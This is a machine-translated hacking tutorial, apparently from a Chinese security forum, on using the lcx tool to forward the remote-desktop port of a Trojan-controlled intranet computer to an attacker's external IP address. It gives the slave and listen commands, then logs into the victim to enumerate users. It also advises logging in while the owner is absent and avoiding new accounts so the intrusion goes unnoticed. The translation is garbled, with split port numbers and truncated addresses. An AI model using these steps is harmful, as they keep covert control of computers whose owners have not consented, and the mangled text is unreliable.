Exclusive tells the story: use the Lcx to the internal network port forwarding-bug warning-the black bar safety net

ID MYHACK58:62200923976
Type myhack58
Reporter 佚名
Modified 2009-07-21T00:00:00


Through this case study you can learn to:

(1)learn about port forwarding the relevant knowledge

(2)Using the toolsoftwarelcx to perform port forwarding

Lcx. exe is a port forwarding tool, equivalent to the broiler on A 3 3 8 9 port forwarding to an external network IP address of B machine, so the connection B machine 3 3 8 9 port is equivalent to the link A machine 3 3 8 9 port. Lcx program more for controlled computer(broiler)is intranet of situation, the controlled machine may be a Trojan, although it can be controlled, but still not using the remote terminal login to this machine for easy management, so in many cases, will find ways to be controlled on the computer open 3 3 8 9 port, and then through the lcx or other programs for port forwarding, then in the local connection to the controlled computer to the remote terminal and the management and use.

Step 1: Determine the controlled computer's IP address. In the controlled computer on the remote terminal, and then execute“ipconfig /all”command, see itswebconfiguration, as shown in Figure 1, The computer ip address is“”

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Figure 1 to determine the controlled computer's IP address

Step 2: in the controlled computer to perform the port forwarding command. In the controlled computer to perform the“lcx –slave 218.69.. 5 1 3 3 8 9”,As shown in Figure 2, The implementation after completion will give some tips, if the display is“Make a Connection to 218.69..: 5 1”it indicates the port forwarding is correct.

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In Figure 2 is controlled on the computer implementation of the forward command


lcx has a total of three commands, the first command(lcx –lister 5 1 3 3 8 9)is an outer network independent IP on the computer to perform, represent on the machine monitor 5 1 port, the port is mainly to accept controlled computer 3 3 8 9 port forwarding over the data. The second command(lcx –slave 218.69.. 5 1 3 3 8 9)shows the machine IP address 1 9 2. 1 6 8. 8 0. 1 2 9 3 3 8 9 port forwarding to a remote address for“218.69..” 5 1 port. The third command is the port steering.

Step 3: on the machine executing the monitor command. On this machine open a DOS command prompt, and then to the lcx. exe where path is the implementation of“lcx –lister 5 1 3 3 8 9”command, the monitor 5 port 1, the listener is successful, it will display as shown in Figure 3 of the data.

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Figure 3 on the machine monitor 5 1 port

i note

(1)in the machine on the listening port must be an unused port, you can use“netstat-an |find "5 1" ”command to view it, if not display result indicates the 5 1 port can be used for monitoring.

(2)the controlled computer and the machine is successfully connected will not display the connection data, as shown in Figure 4, If no data is sent and accepted, the description of the connection establishment is unsuccessful.

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Figure 4 The connection is successfully established

Step 4: in the machine using a remote terminal to log on. At the DOS prompt, input“mstsc”command to open a remote terminal connector, input“”and click the“Connect”button for remote terminal connection, in the login interface, respectively, after income user name and password, after verification by, you can remote into the controlled computer's desktop, as shown in Figure 5, Enter“ipconfig /all”and“net user”command to view the network configuration and user information.

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Figure 5 remote login to the controlled computer

i note

(1)If the controlled computer is aserver, then the login can proceed directly to the landing;if the controlled computer is a Windows XP system, it is best to choose the user not the computer time for the landing, otherwise easily be found.

(2)not easily controlled on a computer to establish an account, especially Windows XP, the establishment of the account, immediately in the login interface to be displayed.

Step 5: check the local connection. In controlled on the computer using“netstat-an”To view all current connections, you can see the controlled computer in with its own remote terminal is connected, as shown in Figure 6, while the actual 3 3 8 9 port with the native 5 1 port connection.

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Figure 6 view of the actual network connection


In the present case by using the lcx port forwarding program, success in the machine connected to the controlled computer inside the network, you can easily to the computer for remote administration, performing network penetration is particularly useful.